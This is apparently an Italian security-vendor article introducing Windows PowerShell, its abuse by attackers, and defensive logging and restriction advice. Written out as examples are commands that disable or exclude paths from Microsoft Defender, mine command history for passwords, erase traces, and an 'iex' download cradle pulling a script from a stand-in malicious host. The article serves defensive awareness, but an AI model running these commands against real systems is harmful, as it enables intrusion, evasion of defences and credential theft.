Windows PowerShell è un potente linguaggio di scripting e shell a riga di comando per l'automazione delle attività e la gestione delle configurazioni. Questa guida esplora le caratteristiche e le funzionalità di PowerShell, compreso il suo ruolo nell'amministrazione e nella sicurezza del sistema.
Scopri i comandi comuni di PowerShell, le migliori pratiche di scripting e come sfruttare PowerShell per scopi di sicurezza informatica. Comprendere PowerShell è essenziale per i professionisti IT e gli addetti alla sicurezza.
 In che modo PowerShell può influire sulle risorse preziose della tua azienda? Scopri le nozioni di base su PowerShell, perché è interessante per gli hacker e come proteggere l'azienda
Microsoft PowerShell è una shell a riga di comando e un linguaggio di scripting utilizzato per automatizzare le attività e gestire i sistemi basati su Windows. È comunemente utilizzato dagli amministratori e dai professionisti della sicurezza per automatizzare le attività di routine, gestire e monitorare i sistemi e automatizzare le risposte agli incidenti di sicurezza. Gli aggressori utilizzano spesso PowerShell per ottenere l'accesso non autorizzato ai sistemi ed eseguire codice dannoso.
Microsoft PowerShell è disponibile su Windows fin dal 2006, ma ora è la shell di comando per Esplora file su Windows 10 e ha in gran parte sostituito il vecchio strumento cmd.exe. Sebbene spesso considerato oscuro dagli utenti comuni, PowerShell è diventato essenziale per i team IT e gli amministratori di rete grazie alla sua flessibilità e potenza. In questa guida introduttiva spiegheremo le basi di PowerShell, perché è interessante per hacker e gli autori di malware, e cosa è possibile fare per proteggere la propria organizzazione.
Scegliete la vostra versione
Se digiti "PowerShell" nel campo di ricerca di Cortana, ti verranno presentate un paio di opzioni, PowerShell ISE e l'app PowerShell Desktop. Inoltre, se fai clic con il pulsante destro del mouse sul menu Start o su una delle icone di PowerShell nella barra delle applicazioni, vedrai che ci sono due modi diversi per avviare entrambe le versioni di PowerShell: come utente corrente o come amministratore.
 Gli amministratori che desiderano automatizzare le attività comuni tenderanno a utilizzare l'interfaccia ISE per sviluppare moduli e script PowerShell, ma per un utilizzo interattivo la maggior parte sceglierà l'app PowerShell Desktop e la eseguirà come amministratore o utente corrente a seconda dell'attività.
Potresti anche sentire parlare di PowerShell Core, un'edizione multipiattaforma e open source che funziona non solo su Windows, ma anche su Linux e macOS:
 Fate attenzione, però, perché si installa come binario non firmato e potrebbe essere facilmente sostituito da un impostore dannoso. Se avete endpoint che utilizzano PowerShell Core, assicuratevi che la vostra organizzazione lo firmi con un certificato appropriato o esegua regolarmente controlli shasum per garantire che non sia stato manomesso.sia stato manomesso.
Sebbene esistano alcune differenze nelle funzionalità tra le diverse versioni di PowerShell, tutte possono eseguire sessioni remote tramite SSH e interagire con un'ampia varietà di processi e servizi. PowerShell può persino interagire con il registro di Windows e il registro eventi. Tutto ciò significa che un avversario che ha accesso a PowerShell ha lo stesso accesso e gli stessi vantaggi.
Scatenare la potenza
È possibile farsi un'idea delle funzionalità di PowerShell con due semplici comandi:
Get-Module -ListAvailable
per elencare i moduli disponibili e
Get-Command
per elencare i comandi disponibili:
 Diamo un'occhiata veloce ad alcuni esempi. Supponiamo che tu (o un avversario) ti stia muovendo all'interno di una directory di documenti e voglia trovare rapidamente se c'è qualcosa di interessante al suo interno. Un comando come quello riportato di seguito visualizzerà le prime e le ultime due righe di ogni file di testo nella directory, scendendo ricorsivamente nelle sottodirectory e includendo eventuali file nascosti o invisibili, e convogliando l'output in un altro file di testo per una successiva consultazione o recupero:
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
Se qualcuno fosse alla ricerca di documenti che potrebbero iniziare con "Riservato" o terminare con la posizione dell'autore, come "Direttore finanziario", questo potrebbe essere un modo "rapido e approssimativo" per enumerare gli elementi di interesse.
Per eliminare un elemento, magari per cancellare ogni traccia di intrusione, basta semplicemente
Remove-Item <path>
PowerShell consente inoltre agli utenti di manipolare il sistema operativo in modi interessanti ma, purtroppo, anche pericolosi. Se un autore di malware desidera aggirare il motore antivirus Microsoft Defender preinstallato, l'esecuzione di un comando PowerShell con i privilegi appropriati può disabilitarlo:
Set-MpPreference -DisableRealTimeMonitoring $true
oppure, in modo un po' più discreto, escludere un'unità o un percorso dai suoi percorsi di ricerca:
Add-MpPreference -ExclusionPath "c:"
PowerShell semplifica inoltre agli aggressori operazioni quali l'enumerazione delle unità di rete e la chiamata del registro eventi, un modo utile per trovare informazioni sfruttabili, rispettivamente con Get-PSDrive e Get-EventLog.
 Uno strumento utile sia per gli utenti che per i malintenzionati è la possibilità di leggere la cronologia dei comandi, inclusi eventuali argomenti passati ad essi, che sono stati inseriti in modo interattivo nella riga di comando. La cronologia è memorizzata nel percorso generato da questo comando:
 (Get-PSReadLineOption).HistorySavePath
e possiamo usare cat e il cmdlet Select-String (o il suo alias sls) per effettuare efficacemente un "grep"8221" o cercare nei comandi gli elementi di interesse (ad esempio, come password!):
 Script e kit di exploit
Tuttavia, lavorare con PowerShell sulla riga di comando non è l'area in cui si concentrano le migliori opportunità per gli autori di attacchi dannosi. Più pericolosa è la capacità di PowerShell di eseguire script sia in memoria (noti anche come "fileless") e dal disco. Entrambi possono essere eseguiti direttamente su un host o in remoto.
Come il comando della shell Unix eval , PowerShell dispone di Invoke-Expression (e del suo alias iex), che consente di scaricare ed eseguire uno script dannoso nella memoria. È possibile aggiungere Bypass per cercare di aggirare una politica di esecuzione limitata:
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
Non sorprende che non ci sia voluto molto tempo prima che apparissero interi framework di sfruttamento che sfruttano appieno il potenziale di PowerShell.
Il primo di questi è PowerSploit, una raccolta di script PowerShell che possono aiutare a manipolare e controllare il computer della vittima.
 PowerShell Empire si basa sul lavoro di PowerSploit e di diversi altri progetti per creare uno strumento post-exploit in grado di eludere il rilevamento di rete, eseguire keylogger ed eseguire altri moduli come Mimikatz per estrarre password in chiaro, hash delle password e altri dati direttamente dalla memoria.
 L'ascesa degli attacchi PowerShell
La creazione di script PowerShell e comandi PowerShell che possono essere eseguiti da altri tipi di file Windows files, .exe, .bat, .wsf e .LNK è uno dei motivi per cui il malware basato su PowerShell è in aumento negli ultimi anni. Secondo una stima secondo cui gli exploit di PowerShell rappresentano quasi il 40% degli incidenti malware, non c'è dubbio che gli avversari lo stiano utilizzando in un'ampia varietà di campagne, da ransomware al furto di credenziali e trojan bancari. PowerShell è stato anche implicato in frodi sui clic, sniffing di password ed esfiltrazione di dati.
DNSMessenger è un malware che è stato individuato mentre si diffondeva in una macro di un documento Word. Utilizza abilmente il codice sorgente VBA per inviare comandi PowerShell codificati per ottenere persistenza, consegnare il suo payload e comunicare con un server C&C.
Sorprendentemente, alcuni attacchi PowerShell non richiedono nemmeno il file PowerShell.exe integrato. Strumenti come PowerShdll e InsecurePowerShell possono eseguire script direttamente sfruttando System.Management.Automation.dll che sta alla base del binario PowerShell. In breve, l'eseguibile PowerShell è solo un host o un wrapper per il codice reale nella libreria di collegamento dinamico. Gli attacchi possono sfruttare questa caratteristica per indurre qualsiasi processo a eseguire script e comandi PowerShell.
Altri usi creativi di PowerShell prevedono l'incorporamento di uno script PowerShell nei pixel di un file PNG e la generazione di una riga di codice per eseguirlo utilizzando Invoke-PSImage, oppure la conversione di script PowerShell in file EXE con strumenti come PS2EXE.
Gestione di PowerShell
Da tutto ciò risulta chiaro che il semplice blocco di PowerShell.exe sarebbe inutile, per non parlare del grande onere che comporterebbe per gli amministratori di sistema che ormai fanno affidamento sulle funzionalità offerte da PowerShell. È importante comprendere che PowerShell e le DLL su cui si basa sono parte integrante del sistema operativo Windows e, con l'avvento di PowerShell Core, tale potenza si estende alle opportunità di cross-platform che le aziende potrebbero ritenere essenziali.
Una soluzione aziendale efficace per gestire la doppia natura di PowerShell è quella offerta da SentinelOne, che esamina il comportamento dei processi in esecuzione sull'endpoint. Si tratta di una soluzione efficace perché funziona in modo simile indipendentemente da come vengono implementati gli attacchi malware. L'agente SentinelOne monitora tutte le attività sull'agente per distinguere tra quelle dannose e quelle innocue. Poiché l'agente dispone già del contesto completo (utenti, processi, argomenti della riga di comando, registro, file sul disco e comunicazioni esterne), è possibile mitigare le attività dannose indipendentemente dalla loro origine.
Ti è piaciuto questo articolo? Seguici su LinkedIn, Twitter, YouTube o Facebook per vedere i contenuti che pubblichiamo.
Maggiori informazioni su Windows Security
- Il trojan bancario Hancitor è tornato | Utilizzo di allegati Word dannosi
 - SentinelOne rileva e blocca una nuova variante di Powershell CryptoWorm
 - Il nuovo tipo di file di Windows 10 può essere utilizzato in modo improprio per eseguire applicazioni dannose
 
Cybersicurezza alimentata dall'intelligenza artificiale
Elevate la vostra posizione di sicurezza con il rilevamento in tempo reale, la risposta automatica e la visibilità totale dell'intero ambiente digitale.
Richiedi una demoDomande frequenti su Windows PowerShell
Windows PowerShell è una shell della riga di comando e un linguaggio di scripting Microsoft basato su .NET Framework. Consente di utilizzare cmdlet, ovvero semplici comandi verbo-sostantivo, per automatizzare attività quali la gestione del file system, del registro e dei servizi.
PowerShell gestisce e restituisce oggetti anziché testo semplice, consentendo di trasferire dati strutturati da un cmdlet al successivo. Supporta anche il remoting, i moduli e la guida in console per la gestione del sistema.
A differenza del vecchio CMD, PowerShell utilizza cmdlet con un formato verbo-sostantivo e funziona con oggetti .NET anziché flussi di testo. Ciò significa che è possibile concatenare i comandi tramite pipeline senza analizzare il testo. Gli script di PowerShell possono chiamare direttamente le API .NET, offrono una gestione degli errori più avanzata e supportano i moduli.
Le shell tradizionali gestiscono solo testo semplice e script batch di base, mentre PowerShell fornisce un ambiente di scripting completo per l'automazione e la configurazione.
La profonda integrazione di sistema e la potenza di scripting di PowerShell lo rendono uno strumento preferito sia dagli amministratori che dagli aggressori. Gli autori delle minacce utilizzano tecniche senza file, eseguendo script nella memoria, per eludere il rilevamento.
PowerShell può disabilitare le difese, scaricare codice dannoso o rubare credenziali senza toccare il disco. La sua ubiquità in Windows significa che i difensori devono considerare l'attività di PowerShell come ad alto rischio e monitorarla attentamente per individuare eventuali abusi.
In uno studio Cisco, PowerShell è stato coinvolto in oltre un terzo delle minacce critiche alla sicurezza sugli endpoint. Carbon Black ha segnalato un abuso di PowerShell nel 38% degli incidenti, spesso in azioni post-exploit come movimenti laterali o furto di credenziali.
Anche se il suo utilizzo normale è basso, PowerShell compare in circa un caso su quattordici di incontri dannosi confermati.
Abilitare tutta la registrazione di PowerShell: registrazione dei moduli, registrazione dei blocchi di script e trascrizione. Impostare la dimensione del registro ad almeno 150 MB e raccogliere gli eventi da
Microsoft-Windows-PowerShell/Operational e PowerShellCore/Operational. Inserire i registri in SIEM o XDR. Bloccare gli script provenienti da genitori non attendibili e limitare la politica di esecuzione solo agli script firmati. Attivare la registrazione degli eventi protetta per ulteriori dettagli.
Utilizzare Just Enough Administration (JEA) per limitare l'accesso degli utenti solo ai cmdlet approvati. Applicare la modalità linguistica vincolata per disabilitare COM, WMI ed espressioni complesse. Implementare criteri di controllo delle applicazioni (ad esempio WDAC) per inserire nella whitelist gli script firmati.
Mantenere PowerShell aggiornato alla versione 5.1 o successive. Rivedere e ottimizzare regolarmente le impostazioni di registrazione per garantire che ogni invocazione di script venga registrata.
Il blocco completo di PowerShell può compromettere la gestione del sistema e l'amministrazione remota. Microsoft sconsiglia la rimozione completa. Limita invece l'esecuzione agli amministratori autorizzati, applica il controllo delle applicazioni e impedisci a PowerShell di generarsi sotto genitori non attendibili come le app di Office.
In combinazione con la registrazione e il monitoraggio, questi controlli bloccano la maggior parte degli usi dannosi senza compromettere le operazioni legittime.
PowerShell consente ai difensori di automatizzare la risposta agli incidenti, raccogliere rapidamente dati forensi e individuare le minacce. È possibile scrivere script per raccogliere artefatti del registro, elenchi di processi e connessioni di rete in pochi minuti. Imparare PowerShell aiuta anche a comprendere le tecniche degli aggressori, poiché molti strumenti post-exploit (Empire, Cobalt Strike) utilizzano PowerShell sotto il cofano.
Gli script PowerShell possono raccogliere memoria live, chiavi di esecuzione del registro, registri eventi e dati di rete per il triage. Strumenti comunitari come DFIR-Script automatizzano la raccolta di prove su tutti gli endpoint. I cacciatori utilizzano PowerShell per interrogare l'ID evento Windows 4104 alla ricerca di blocchi di script dannosi, analizzare l'output e inserire i risultati nei playbook SOAR. Ciò rende PowerShell una parte fondamentale dei flussi di lavoro di rilevamento, contenimento e riparazione.

